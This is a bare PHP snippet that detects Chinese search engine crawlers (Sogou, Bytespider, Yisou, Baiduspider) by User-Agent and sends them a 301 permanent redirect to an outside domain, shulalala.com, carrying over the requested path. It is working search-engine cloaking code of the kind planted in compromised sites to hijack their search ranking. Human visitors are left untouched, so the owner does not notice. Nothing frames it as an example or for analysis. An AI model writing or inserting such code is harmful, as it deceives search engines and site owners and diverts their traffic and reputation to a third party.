if (is_robotsa())
{
    header('HTTP/1.1 301 Moved Permanently');
    $urls='https://www.shulalala.com'.$_SERVER['REQUEST_URI'];
    Header("Location:$urls");
}
function is_robotsa()
  {
    $agent=strtolower($_SERVER['HTTP_USER_AGENT']);
    if(preg_match('/sogou|bytespider|yisou|baiduspider/is',$agent))
    {
      return true;
    }
    else
    {
      return false;
    }
  }